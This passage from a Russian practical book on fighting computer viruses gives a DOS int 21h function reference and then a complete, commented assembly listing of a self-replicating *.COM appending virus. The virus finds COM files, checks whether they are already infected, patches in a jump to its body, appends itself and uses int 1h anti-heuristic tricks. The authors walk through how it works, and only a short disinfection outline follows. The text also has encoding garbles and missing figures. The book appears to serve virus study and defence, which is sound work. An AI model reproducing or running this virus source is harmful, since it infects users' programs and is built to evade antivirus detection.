Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
|
31 |
|
|
|
|
выход: |
|
|
|
if CF=0 then |
|
|
|
ax |
= дескриптор файла |
||
else |
|
|
|
ax |
= код ошибки (3,4,5) (таб 2) |
||
Open — Открыть существующий файл |
|||
âõîä: |
|
|
|
ah |
= 3Dh |
|
|
al |
= режим доступа (таб 2) |
||
cx |
= атрибуты |
ds:dx = èìÿ |
|
выход: |
|
|
|
if CF=0 then |
|
|
|
ax |
= дескриптор файла |
||
else |
|
|
|
ax |
= код ошибки (1,2,3,4,5,0C) |
||
Close — Закрыть файл |
|
||
âõîä: |
|
|
|
ah |
= 3Eh |
|
|
bx |
= дескриптор |
|
|
ds:dx |
= èìÿ |
|
|
выход: |
|
|
|
if CF=0 then |
|
|
|
ax |
= |
|
|
else |
|
|
|
ax |
= код ошибки (6) |
|
|
Read — Чтение из файла |
|
||
âõîä: |
|
|
|
ah |
= 3Fh |
|
|
bx |
= дескриптор |
|
|
cx |
= число байт |
|
|
ds:dx |
= буфер для чтения |
||
выход: |
|
|
|
if CF=0 then
ax = число прочитанных байт
Это значение может быть меньше CX, например, потому, что длина файла превышена.
else
ax = код ошибки (5,6)
Write — Записать в файл
âõîä: |
|
|
ah |
= 40h |
|
bx |
= дескриптор |
|
cx |
= число байт |
|
ds:dx |
= данные для записи |
|
выход: |
|
|
if CF=0 then
ax = число записанных байт else
ax = код ошибки (5,6)
32 DOS вирусы
Unlink — Удалить файл
âõîä: |
|
|
ah |
= 41h |
|
cx |
= атрибуты |
|
ds:dx |
= èìÿ |
|
выход: |
|
|
if CF=0 then ax =
else
ax = код ошибки (2,3,5)
LSeek — Установить указатель в файле
âõîä: |
|
|
ah |
= 42h |
|
al |
= точка отсчета указателя: |
|
|
0 - от начала файла |
|
|
1 |
- от текущего положения |
|
2 |
- от конца |
bx |
= дескриптор |
|
cx:dx |
= смещение (cx=старшие 16 бит, dx=младшие) |
выход: |
|
if CF=0 then |
|
dx:ax |
= новое положение указателя относительно начала |
else
ax = код ошибки (1,6)
Получить атрибуты файла
âõîä: |
|
|
ax = 4300h |
|
|
ds:dx |
= |
èìÿ |
выход: |
|
|
if CF=0 then cx = атрибуты
else
ax = код ошибки (1,2,3,5)
Chmod — Установить атрибуты файла
âõîä: |
|
|
|
ax |
= 4301h |
|
|
cx |
= новые атрибуты |
||
ds:dx |
= |
èìÿ |
|
выход: |
|
|
|
if CF=0 then ax =
else
ax = код ошибки (1,2,3,5)
Выделить блок памяти
âõîä: |
|
|
ah |
= |
48h |
bx |
= |
размер блока в параграфах |
выход:
if CF=0 then
DOS вирусы |
33 |
|
|
|
ax = сегмент блока |
else |
|
|
ax = код ошибки (7,8) |
|
bx = размер наибольшего доступного блока |
Освободить память |
|
âõîä: |
|
ah |
= 49h |
es |
= сегмент блока |
выход:
if CF=0 then ax =
else
ax = код ошибки (7,9)
Изменить размер блока памяти
âõîä:
ah |
= 4Ah |
|
bx |
= |
новый размер |
es |
= |
сегмент |
выход:
if CF=0 then ax =
else
ax = код ошибки (7,8,9)
bx = размер наибольшего доступного блока
Exec — загрузить или выполнить программу
âõîä: |
|
|
ah |
= 4Bh |
|
al |
= тип загрузки: |
|
|
0 |
- загрузить и выполнить |
|
1 |
- загрузить и не выполнять |
|
3 |
- загрузить оверлей |
|
4 |
- загрузить и выполнить в фоновом режиме (dos 4.0) |
es:bx |
= блок параметров (таб. 3) |
|
ds:dx |
= имя программы |
|
выход: |
|
|
if CF=0 then bx,dx разрушены
else
ax = код ошибки (1,2,5,8,0A,0B)
FindFirst — найти первый файл
âõîä: |
|
|
ah |
= 4Eh |
|
cx |
= маска атрибутов |
|
ds:dx |
= маска имени (может содержать путь, * и ?) |
|
выход: |
|
|
if CF=0 then |
||
|
[DTA] |
- найденный файл (табл. 4) |
else |
|
|
ax = код ошибки (2,3,12h)
34 DOS вирусы
FindNext — найти следующий файл
âõîä: |
|
ah = 4Fh |
|
[DTA] |
= структура от предыдущего вызова (не изменять!) |
выход: |
|
if CF=0 then |
|
[DTA] |
- следующий файл |
else |
|
ax = код ошибки (12h) |
|
Получить дату и время файла
âõîä: |
|
|
ax |
= |
5700h |
bx |
= |
дескриптор файла |
выход:
if CF=0 then
cx = время (как в табл. 4) dx = дата
else
ax = код ошибки (1,6)
Установить дату и время файла
âõîä: |
|
ax |
= 5701h |
bx |
= дескриптор файла |
cx |
= время (как в табл. 4) |
dx |
= äàòà |
выход:
|
if CF=0 then |
||
|
else |
||
|
ax = код ошибки (1,6) |
||
|
Таблица 1. Атрибуты файлов |
||
|
|
|
|
Áèò |
|
Значение |
|
|
|
|
|
0 |
|
ReadOnly |
|
|
|
|
|
1 |
|
Hidden |
|
|
|
|
|
2 |
|
System |
|
|
|
|
|
3 |
|
VolumeLabel |
|
|
|
|
|
4 |
|
Directory |
|
|
|
|
|
5 |
|
Archive |
|
|
|
|
|
6 |
|
not used |
|
|
|
|
|
7 |
|
not used |
|
|
|
|
|
8 |
|
Shared (only Netware) |
|
|
|
|
|
|
|
|
|
DOS вирусы |
35 |
||
|
|
||
|
Таблица 2. Коды ошибок |
||
|
|
|
|
1 |
|
Неверный номер функции |
|
|
|
|
|
2 |
|
Файл не найден |
|
|
|
|
|
3 |
|
Путь не найден |
|
|
|
|
|
4 |
|
Слишком много открытых файлов |
|
|
|
|
|
5 |
|
Доступ запрещен |
|
|
|
|
|
6 |
|
Недопустимый дескриптор |
|
|
|
|
|
7 |
|
Разрушен блок управления памятью |
|
|
|
|
|
8 |
|
Недостаточно памяти |
|
|
|
|
|
9 |
|
Недопустимый адрес блока памяти |
|
|
|
|
|
A |
|
Ошибка окружения |
|
|
|
|
|
B |
|
Недопустимый формат |
|
|
|
|
|
11 |
|
Не то же устройство |
|
|
|
|
|
12 |
|
Больше нет файлов |
|
|
|
|
|
|
|
|
|
|
|
Таблица 3. Блок параметров Exec |
|
|
|
|
|
Offset |
|
Size |
|
|
|
||
00 |
word. Сегмент окружения, копируемый для дочернего процесса. |
||
Если 0, то сегмент вызывающей программы |
|||
|
|||
|
|
||
02 |
dword. Указатель на командную строку к программе. Первый байт |
||
командной строки — ее длина |
|||
|
|||
|
|
||
06 |
dword. Указатель на первый FCB |
||
|
|
||
0A |
dword. Указатель на второй FCB |
||
|
|
||
0E |
dword. (для al=1) будет содержать начальный ss:sp программы |
||
|
|
||
12 |
dword. (для al=1) будет содержать точку входа cs:ip |
||
|
|
|
|
|
|
|
|
|
|
Таблица 4. Структура DTA для поиска файлов |
|
|
|
|
|
Offset |
|
Size |
|
|
|
||
00 |
15h. Зарезервиировано |
||
|
|
||
15h |
byte. Атрибуты файла |
||
|
|
||
16h |
word. Времы файла. Биты: 11—15 — час; 5—10 — минута; |
||
0—4 — секунды/2 |
|||
|
|||
|
|
||
18h |
word. Дата файла. Биты: 9—15 — год — 1980; 5—8 — месяц; |
||
0—4 — äåíü |
|||
|
|||
|
|
||
1Ah |
dword. Размер файла |
||
|
|
||
1Eh |
0Dh. Имя + расширение в формате asciiz |
||
|
|
|
|
|
|
|
|
Теперь можно переходить к более сложным вирусам...
36 |
DOS вирусы |
|
|
3.1.Простейшие *.COM вирусы
Âдальнейшем повествование будет сопровождаться исходными текстами на языке Ассемблера, так как реализация аналогичных вирусов на языке Паскаль очень трудоемка.
Самым распространенным методом размножения *.com вирусов является запоминание первых нескольких байт программы и замена их на переход на вирусное тело. После этого вирус восстанавливает оригинальные байты и выполняет свои функции (размножение...), и в конце концов он восстанавливает оригинальные байты и передает на них управление.
Программа с этого момента выполняется так, как и должна была. Но весь секрет в том, что эти байты после восстановления не сохраняются, это не запись в файл это восстановление «на лету» — в памяти. Поэтому при последующем запуске программы управление первым получает опять вирус, ну и т. д.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
Рассмотрим листинг: ;----------------------------------------
.model tiny |
|
|
.code |
|
|
org 100h |
|
|
start: |
db 0e9h,00h,00h |
; Переход на начало вируса (st_vir) |
st_vir: |
call $+3 |
|
f_offset: |
pop bp |
|
|
int 1h |
; Антиэвристика |
|
sub bp, OFFSET f_offset |
; Считаем смещение, |
|
|
; с которого начинается вирусный |
|
|
; êîä |
|
lea si,[bp+orig_bytes] |
; Восстанавливаем оригинальные 3 байта |
|
mov di,100h |
; Положим в стэк переход на |
|
push di |
; начало программы |
|
movsw |
|
|
movsb |
|
|
lea dx,[bp+new_dta] |
; Установим DTA |
|
mov ah,1ah |
|
DOS вирусы |
|
37 |
|
|
|
|
int 21h |
|
|
mov ah,09h |
; Выведем сообщение |
|
lea dx,[bp+msg] |
; |
|
int 21h |
|
|
mov ah,4eh |
; DOS-функция findfirst |
|
lea dx,[bp+file_m] |
; Ищем *.com файл (любой) |
|
xor cx,cx |
; |
f_next: |
int 21h |
; |
|
jc exit |
; если ошибка или файлы кончились, |
|
|
; то на выход |
|
mov ax,3d00h |
; Откроем найденный файл на чтение |
|
lea dx,[bp+new_dta+30] |
; |
|
int 21h |
; |
|
xchg ax,bx |
; положим хэндл в bx |
|
mov ah,3fh |
; Прочитаем из файла |
|
lea dx,[bp+orig_bytes] |
; оригинальный заголовок, |
|
mov cx,3 |
; а если быть более точным, то 3 байта |
|
int 21h |
; |
|
cmp word ptr[bp+orig_bytes],'MZ' ; Если это *.exe переименованный |
||
|
je close |
|
; в *.com, то переходим к следующему |
|
cmp word ptr[bp+orig_bytes],'ZM' ; файлу |
||
|
je close |
|
; |
|
mov ax,word ptr [bp+new_dta+26] |
; Положим размер файла в ax |
|
|
mov cx,word ptr [bp+orig_bytes+1] ; |
||
|
add cx,end_vir-st_vir+3 |
; Добавим размер вируса |
|
|
cmp ax,cx |
; Если длины совпадают, то файл |
|
|
jnz infect |
; заражен, если нет - сейчас заразим |
|
close: |
mov ah,3eh |
; |
Закрываем файл |
|
int 21h |
; |
|
|
mov ah,4fh |
; |
и ищем новый |
|
jmp short f_next |
; |
|
exit: |
mov dx,80h |
; Восстанавливаем старый DTA |
|
|
mov ah,1ah |
|
|
|
int 21h |
|
|
|
retn |
; Переходим на начало программы |
|
|
|
; |
100h было ведь в стэке |
infect: |
|
|
|
|
mov ax,word ptr [bp+new_dta+26] |
; Положим размер файла в ax |
|
|
sub ax,3 |
|
; отнимем 3 и получим смещение для |
|
mov word ptr [bp+jmp_offset],ax |
; перехода на тело вируса |
|
|
mov ah,3eh |
; |
|
|
int 21h |
; Закроем файл |
|
|
mov ax,3d02h |
; Откроем на чтение/запись |
|
|
int 21h |
; |
|
|
xchg ax,bx |
; Положим хэндл в bx |
|
|
mov ah,40h |
; Запишем в файл |
|
38 |
|
DOS вирусы |
|
|
|
|
int 1h |
; Антиэвристика |
|
mov cx,3 |
; 3 байта |
|
lea dx,[bp+header] |
; это переход на тело вируса, которое |
|
int 21h |
; будет дописано к файлу |
|
|
; Перейдем на конец файла |
|
mov ax,4202h |
|
|
xor cx,cx |
|
|
xor dx,dx |
|
|
int 21h |
|
|
mov ah,40h |
; Допишем тело вируса |
|
int 1h |
; Антиэвристика |
|
mov cx,end_vir-st_vir |
; |
|
lea dx,[bp+st_vir] |
; |
|
int 21h |
; |
|
mov ah,3eh |
; Закроем файл |
|
int 21h |
; |
|
jmp exit |
; и передадим управление оригинальной |
|
|
; программе |
msg db "[Par4s1+ic ChuM4 v 1.0 by sl0n]",0ah,0dh,"$" ; Сообщение |
||
file_m |
db '*.com',0 |
; маска файла для поиска |
orig_bytes |
db 0cdh,20h,0 |
; байты оригинального заголовка |
header |
db 0e9h |
; переход на вирус |
end_vir |
equ $ |
; символ конца вируса |
jmp_offset |
dw ? |
; переменная для смещения на вирус |
new_dta |
db 43 dup(?) |
; массив для DTA |
end start ;--------------------------------------------------
Данный вирус достаточно прост и хорошо комментирован, так что мы рассмотрим только важные моменты.
1. Дельта-смещение нужно для того, чтобы мы могли обращаться к своим данным в чужой программе:
;--------------------------------------------------- |
|
|
st_vir: |
call $+3 |
|
f_offset: |
pop bp |
|
|
int 1h |
; Антиэвристика |
|
sub bp, OFFSET f_offset |
; Считаем смещение, |
|
|
; с которого начинается вирусный |
|
|
; êîä |
;---------------------------------------------------- |
|
|
После этого мы можем обращаться к данным следующим образом: [bp+data].
2. Проверка на инфицированность (чтобы повторно не заражать):
;---------------------------------------------------- |
|
|
mov ax,word ptr [bp+new_dta+26] |
; Положим размер файла в ax |
|
mov cx,word ptr [bp+orig_bytes+1] ; |
||
add cx,end_vir-st_vir+3 |
; |
Добавим размер вируса |
cmp ax,cx |
; |
Если длины совпадают, то файл |
jnz infect |
; |
заражен, если нет - сейчас заразим |
DOS вирусы |
39 |
|
|
Âпервой строчке в регистр ax ложится размер найденного файла, который хранится в new_dta по смещению 26.
Âorig_bytes в зараженной программе должно быть что-то вроде 0e9h xx xx. Во второй строке 2 и 3 байты из заголовка кладутся в cx.
Первый байт означает инструкцию jmp, а остальные два — смещение, куда
переходить. Так как этот вирус дописывается к концу, то xx xx будут указывать на конец файла (т. е. это размер незараженного файла).
В третьей строчке к размеру оригинального файла добавляется размер вируса плюс сохраненные 3 байта заголовка оригинального файла.
Из этих вычислений становится ясно, что если файл инфицирован, то ax и cx совпадут. Именно из этих соображений в начале вируса присутствуют такие строки:
;-------------------------------------------------- |
|
db 0e9h,00h,00h |
; Переход на начало вируса (st_vir) |
;--------------------------------------------------- |
|
Они необходимы, чтобы вирус сам себя не заражал.
3. Теперь взглянем, как вычисляется переход на тело вируса:
;------------------------------------------------ |
|
|
mov ax,word ptr [bp+new_dta+26] |
; Положим |
размер файла в ax |
sub ax,3 |
; отнимем |
3 и получим смещение для |
mov word ptr [bp+jmp_offset],ax |
; перехода на тело вируса |
|
;------------------------------------------------ |
|
|
Здесь же приходится отнимать 3 байта из-за размера самого jmp xx xx, который при расчете учитываться не должен.
4. В начале для восстановления первых трех байт используются цепочечные команды, выделенные восклицательными знаками:
;------------------------------------------------ |
|
lea si,[bp+orig_bytes] |
; Восстанавливаем оригинальные 3 байта |
mov di,100h |
; Положим в стэк переход на |
push di |
; начало программы |
movsw |
; !!! |
movsb |
; !!! |
;------------------------------------------------- |
|
Ну вот, с этим вирусом разобрались.
Для лечения данного вида вирусов уже используется более сложный алгоритм, рассмотрим его:
1)обнаружить зараженную программу;
2)определить, в каком месте данный вирус хранит оригинальные байты программы;
3)заменить вирусные байты в начале программы оригинальными;
4)удалить хвост вируса в конце программы (этого в принципе уже можно и не делать).
40 |
DOS вирусы |
|
|
3.2. Простейшие *.EXE вирусы
Самый распространенный способ заражения .exe файлов: мы дописываем ему в конец тело своего вируса и корректируем заголовок (сохранив прежде его оригинальную версию) так, чтобы при запуске управление получал вирус (совсем как в *.com, но вместо перехода в коде мы корректируем сам адрес точки запуска программы).
При старте зараженного файла управление получит вирус. После всех операций вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученного при старте вируса) и передает управление на полученный адрес.
Рассмотрим структуру EXE заголовка:
Переходим к простейшему *.exe вирусу.
Следует рассмотреть как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
